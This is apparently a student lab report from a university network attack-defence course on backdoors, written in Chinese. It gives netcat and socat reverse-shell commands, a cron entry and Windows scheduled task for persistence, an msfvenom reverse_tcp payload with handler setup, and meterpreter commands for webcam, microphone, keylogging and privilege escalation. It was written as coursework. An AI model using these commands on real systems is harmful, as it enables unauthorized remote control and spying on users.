2018-2019-2 20165312《网络攻防技术》Exp2 后门原理与实践
2018-2019-2 20165312《网络攻防技术》Exp2 后门原理与实践
课上知识点梳理总结
1.后门的概述
- 后门是指不经过正常认证流程而访问系统的通道
- 两个关键词:未认证、隐通道
- 后门执行的过程:后门程序(.exe)->投送到系统中->启动->隐藏
2.NC或netcat
- 进行基本的TCP、UDP数据收发
- linux下自带ncat,
man ncat可以查看用法 - windows下需要下载ncat,且执行操作时需要在ncat路径下
- windows(攻击者)获取linux(被攻击者)的shell
- windows(攻击者)打开监听:
ncat.exe -l -p port.linux其中-l 表示listen -p表示port - linux(被攻击者)反弹连接:
nc ip.windows port.linux -e /bin/sh其中-e表示执行程序

- windows(攻击者)打开监听:
- linux(攻击者)获取windows(被攻击者)的shell
- linux(攻击者)打开监听:
nc -l -p port.windows - windows(被攻击者)反弹连接:
ncat.exe ip.linux port.windows -e cmd.exe

- linux(攻击者)打开监听:
- nc传输文件
- windows向linux发送文件
- linux下打开监听端口,并把收到的数据保存到
fileout.txt中:nc -l port > fileout.txt - windows反弹连接linux的端口:
nc ip.linux port < filein.txt - 相当于将文件
filein.txt的内容传送给fileout.txt

- linux下打开监听端口,并把收到的数据保存到
- linux向windows发送文件
- windows下打开监听端口,并把收到的数据保存到filein.txt中:ncat.exe -l port > filein.txt
- linux反弹连接windows的端口:nc ip.windows port < fileout.txt
- 相当于将文件fileout.txt的内容传送给filein.txt

- windows向linux发送文件
- nc传输数据
- windows:
ncat.exe -l -p port - linux:
nc port ip.windows - 建立连接后,即可进行数据传输

- windows:
3.socat
- socat是netcat的加强版,功能比netcat强大
- 安装
- linux:
sudo apt-get install socat - windows:需要下载socat,且执行操作时需要在socat路径下
- linux:
- 基本语法:
socat [options] <address> <address>address常用的几个描述-,STDIN,STDOUT表示标准输入输出,可以就用一个横杠代替/var/log/syslog也可以是其他任意路径,如果是相对路径要使用./,打开一个文件作为数据流TCP:建立一个TCP连接作为数据流,TCP也可以替换为UDPTCP-LISTEN:建立TCP监听端口,TCP也可以替换为UDPEXEC:执行一个程序作为数据流
- socat当cat
- 直接回显:
socat - - - cat文件:
socat - 文件路径 - 写文件:
echo "hello" | socat - 文件路径

- 直接回显:
- socat当netcat
- 连接远程端口:
socat - TCP:ip:port - 监听端口:
socat TCP-LISTEN:port - - 正向shell:
socat TCP-LISTEN:port EXEC:/bin/bash - 反弹shell:
socat tcp-connect:ip:port exec:'bash -li',pty,stderr,setsid,sigint,sane
- 连接远程端口:
- 更多用法可详见:博客1、博客2
4.Meterpreter
- 将生成的shellcode存入指定的文件中:
msfvenom -p windows/meterpreter/reverse_tcp host = ip.攻击方 port = port -f exe > 1.exe

Exp2.1使用netcat获取主机操作Shell,cron启动
有关cron
- linux下的一个定时执行工具,在不需要人工干涉的情况下执行
- cron服务提供crontab命令来设定cron服务,一些参数说明(参考链接)
-u设定某个用户的cron服务,一般root用户需要此参数-l列出某个用户cron服务的详细内容-r删除某个用户的cron服务-e编辑某个用户的cron服务
- 有关于cron表达式的含义讲解参考:博客1、博客2
实验思路:既然cron为linux下定时执行工具,那就设定windows获取linux的shell,并通过设置让linux在指定的时间自启动
实验步骤:
windows下获取ip地址:
ipconfig

- windows下监听端口:
ncat.exe -l -p 5312 - linux下编辑cron服务:
crontab -e并选择3进入编辑器 在最后一行加入:
10 * * * * /bin/netcat 10.0.0.151 5312 -e /bin/sh意思为在每个小时的第10分钟都能成功反向连接

在17:10,在window下成功查看linux下文件

Exp2.2使用socat获取主机操作Shell, 任务计划启动
实验思路:有关socat,在课上知识点总结中已经陈述。在Exp2.1中使用cron实现了linux下的计划启动,此实验为linux获取windows的shell,即实现windows下的计划启动。
实验步骤
windows标志->右键->计算机管理->任务计划程序->创建任务

常规->名称

触发器->新建,然后按照图示设置

操作->新建,在程序或脚本中写入socat下载路径,在添加参数中写入tcp-listen:5312 exec:cmd.exe,pty,stderr实现反向shell

windows+L锁定系统后,重新进入即可查看到exp2.2-20165312已经运行

linux下连接远程端口:
socat - tcp:10.0.0.151:5312

Exp2.3使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
实验思路:结合课上所学nc传输文件以及meterpreter相关的知识即可进行实验,此实验实现从linux->windows。
实验步骤
获取linux的ip:
ifconfig

在linux下生成.exe文件:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.219.133 LPORT=5312 -f exe > 20165312_backdoor.exe注意这里的ip为攻击方(linux)的地址

- windows下打开监听端口:
ncat.exe -l -p 5312 > 20165312_backdoor.exe - linux反弹连接windows的端口:
nc 10.0.0.151 5312 < 20165312_backdoor.exe 在windows中查看到传输的文件

在linux中另外打开一个终端,
msfconsole进入msf控制台

- 使用监听模块:
use exploit/multi/handler - 设置payload:
set payload windows/meterpreter/reverse_tcp - 指定ip:
set LHOST 192.168.219.133与生成后门程序的ip相同 - 指定port:
set LPORT 5312与生成后门程序的port相同 显示信息:
show options

- 执行监听:
exploit 在windows下执行后门程序:
20165312_backdoor.exe或者直接双击执行

此时linux已经获得了Windows主机的连接,并且得到了远程控制的shell

Exp2.4使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
实验思路:此实验是在Exp2.3基础上实现msf提权
实验步骤
- 按照Exp2.3的操作,进行到
exploit 截取音频:
record_mic

获取摄像头拍照:
webcam_snap

截屏:
screenshot

记录击键的过程:
keyscan_start读取击键的记录:keyscan_dump

查看当前用户:
getuid提取权限:getsystem
提取权限的操作我遇到了bug,依旧在解决ing...(会在遇到的问题里面提到)

实验过程中遇到的问题及解决方法
1.nc传送文件时,由windows传送给linux时,出现“由于目标计算机积极拒绝,无法连接”的错误

通过在群里和同学讨论,猜测这一问题和ssh有关。在此感谢王高源、李天龙同学。
解决方案:
- 首先查看linux下有没有开启ssh服务:
netstat -tlnp- 若回显
Active Internet connections (only servers)没有开启ssh服务
- 若回显
- 编辑
sshd_config文件,允许远程登入:nano /etc/ssh/sshd_config- 将
#PasswordAuthentication yes修改为PasswordAuthentication yes - 将
#PermitRootLogin yes修改为PermitRootLogin yes? ctrl+X保存并退出
- 将
- 将
SSHD服务设置为开机自启动:update-rc.d ssh enable - 重启kail后再尝试就ok了
参考博客链接
2.Exp2.3中,msfconsole进入msf控制台时出现以下问题

由出错的英文分析得知虚拟机的内存不够,所以就增加内存即可(设置里面可以找到!)
3.Exp2.4中,getsystem提取权限时,出现以下问题

找了好久,找到了一个解决方法:http://www.mmcaijing.com/31330.html。这个是绕过 UAC 限制的操作,但是我在操作过程中遇到了新的问题,so...这个还没成功。
实验小结
实验感想
整体来说,这次实验不是太难。在我看来核心的内容是nc传输文件、使用MSF生成shellcode和实现msf提权。但我在做实验的过程中遇到了不少的问题,其中不乏有非技术性输错指令,这就很费时间。我会反思减少这种错误。除此之外,也遇到了一些找了很多资料才解决的问题,通过这个过程,也让我锻炼了英语。。所以这次实验不仅让我更加了解后门,也让我在以后做实验的时候再认真一点,减少幼稚错误。
例举你能想到的一个后门进入到你系统中的可能方式
电脑下载的软件里面,毕竟每一个软件里面都有后门
例举你知道的后门如何启动起来(win及linux)的方式
linux:cron定时启动
windows:修改注册表项
Meterpreter有哪些给你印象深刻的功能
生成shellcode,可以获取被控机的音频文件、开启摄像头和录像功能,捕获画面。(之前关闭摄像头了,但是觉得还是害怕.jpg)
如何发现自己有系统有没有被安装后门
打开任务管理器,查看当前运行进程
查看注册表是否被修改过
防火墙
杀毒软件
2018-2019-2 20165312《网络攻防技术》Exp2 后门原理与实践的更多相关文章
- 20155308 《网络攻防》 Exp2 后门原理与实践
20155308 <网络攻防> Exp2 后门原理与实践 学习内容:使用nc实现win,mac,Linux间的后门连接 :meterpraeter的应用 :MSF POST 模块的应用 学 ...
- 20155318 《网络攻防》Exp2 后门原理与实践
20155318 <网络攻防>Exp2 后门原理与实践 基础问题回答 例举你能想到的一个后门进入到你系统中的可能方式? 下载软件前要勾选一些用户协议,其中部分就存在后门进入系统的安全隐患. ...
- 20155321 《网络攻防》 Exp2 后门原理与实践
20155321 <网络攻防> Exp2 后门原理与实践 实验内容 例举你能想到的一个后门进入到你系统中的可能方式? 我觉得人们在平时上网的时候可能会无意识地点击到一些恶意的网站,这些网站 ...
- 20155336 虎光元《网络攻防》Exp2后门原理与实践
20155336 虎光元<网络攻防>Exp2后门原理与实践 一.实验内容 (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用socat获取主机操作Shel ...
- 20155306 白皎 《网络攻防》 Exp2 后门原理与实践
20155306 白皎 <网络攻防> Exp2 后门原理与实践 一.实践基础 后门程序又称特洛伊木马,其用途在于潜伏在电脑中,从事搜集信息或便于黑客进入的动作.后程序和电脑病毒最大的差别, ...
- 2019-2020-2 20175226 王鹏雲 网络对抗技术 Exp2 后门原理与实践
2019-2020-2 20175226 王鹏雲 网络对抗技术 Exp2 后门原理与实践 实验内容 使用netcat获取主机操作Shell,cron启动: 使用socat获取主机操作Shell, 任务 ...
- 20145309 李昊 《网络攻防》 Exp2 后门原理与实践
实践内容: (1)理解免杀技术原理(1分) (2)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧:(2分) (3)通过组合应用各种技术实现恶意代码免杀( ...
- 20155326刘美岑 《网络对抗》Exp2 后门原理与实践
20155326刘美岑 <网络对抗>Exp2 后门原理与实践 实验内容 (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, 任务计划启 ...
- 20155208徐子涵《网络对抗》Exp2 后门原理与实践
20155208徐子涵<网络对抗>Exp2 后门原理与实践 基础问题回答 (1)例举你能想到的一个后门进入到你系统中的可能方式? 答:当我们在非官方网站上下载软件时,后门极有可能会进入我们 ...
- 20155320《网络对抗》Exp2 后门原理与实践
20155320<网络对抗>Exp2 后门原理与实践 [实验内容] (3.5分) (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, ...
随机推荐
- element 多个文件上传多次http请求解决方法
第一步 action="#" 第二步 :auto-upload = "false" 第三步 给元素绑定click事件触发提交方法,注意,把其他没有用的文件都给去 ...
- servlet之servlet(二)
·servlet用于创建返回基于客服请求的动态页面(整个).部分页面.与数据库交互 ·servlet接口: 继承servlet接口后,要在web.xml中配置和映射servlet.配置servlet初 ...
- linux防火墙设置常用命令
1.永久性生效,重启后不会复原 开启: chkconfig iptables on 关闭: chkconfig iptables off 2.即时生效,重启后复原 开启: service iptabl ...
- 3D数学基础(三)矩阵
3D引擎中对于矩阵的使用非常多,介绍这些知识也是为了告诉开发者原理,更有助于开发者编写逻辑. (1)固定流水线 各种坐标系之间的转化是通过矩阵相乘得到的,这里面就涉及到了3D固定流水线.作为3D游戏开 ...
- java基础——字符串中的反转Reverse问题(面试必备)
由于研究了关于字符串(String)的问题,今年就在这里总结一下,首先说一下有关于面试,我想的是,需要一定的技能,比方说,大家想到这个反转问题,肯定能说上了,只不过是你说的一般人都知道,要想在面试中更 ...
- linux服务器ssh免密登录
环境:两台服务器,Park01.Park02,配置ssh免密登录 在Park01执行:ssh-keygen 然后一直回车 生成节点的公钥和私钥,生成的文件会自动放在/root/.ssh目录下 然后 ...
- java.lang.UnsupportedClassVersionError: JVMCFRE003解决方法--jdk 1.6 中switch的参数无法使用String类型
在jdk 1.6版本中,switch的参数无法使用String类型,只支持int,char,enum类型. 1.6版本之前不支持switch语句存在字符串的判断,升级到1.7或1.8及以上版本即可.
- Python:从入门到实践--第十一章--测试代码--练习
#1.城市和国家:编写一个函数,它接受两个形参:一个城市名和一个国家名. #这个函数返回一个格式为City,Country的字符串,如Santiago,Chile.将这个函数 #存储在一个名为city ...
- 热更新-----为何使用lua进行热更
事实上我们在安卓端是可以使用c#jit的,但是我们在ios上的代码是AOT(预先编译,静态编译)的,不能用c# jit(实时编译,即时编译). ios不能用c#热更是因为启动了CPU的No eXecu ...
- CentOS7.4部署Python3+Django+uWSGI+Nginx
CentOS7.4部署Python3+Django+uWSGI+Nginx http://www.showerlee.com/archives/2590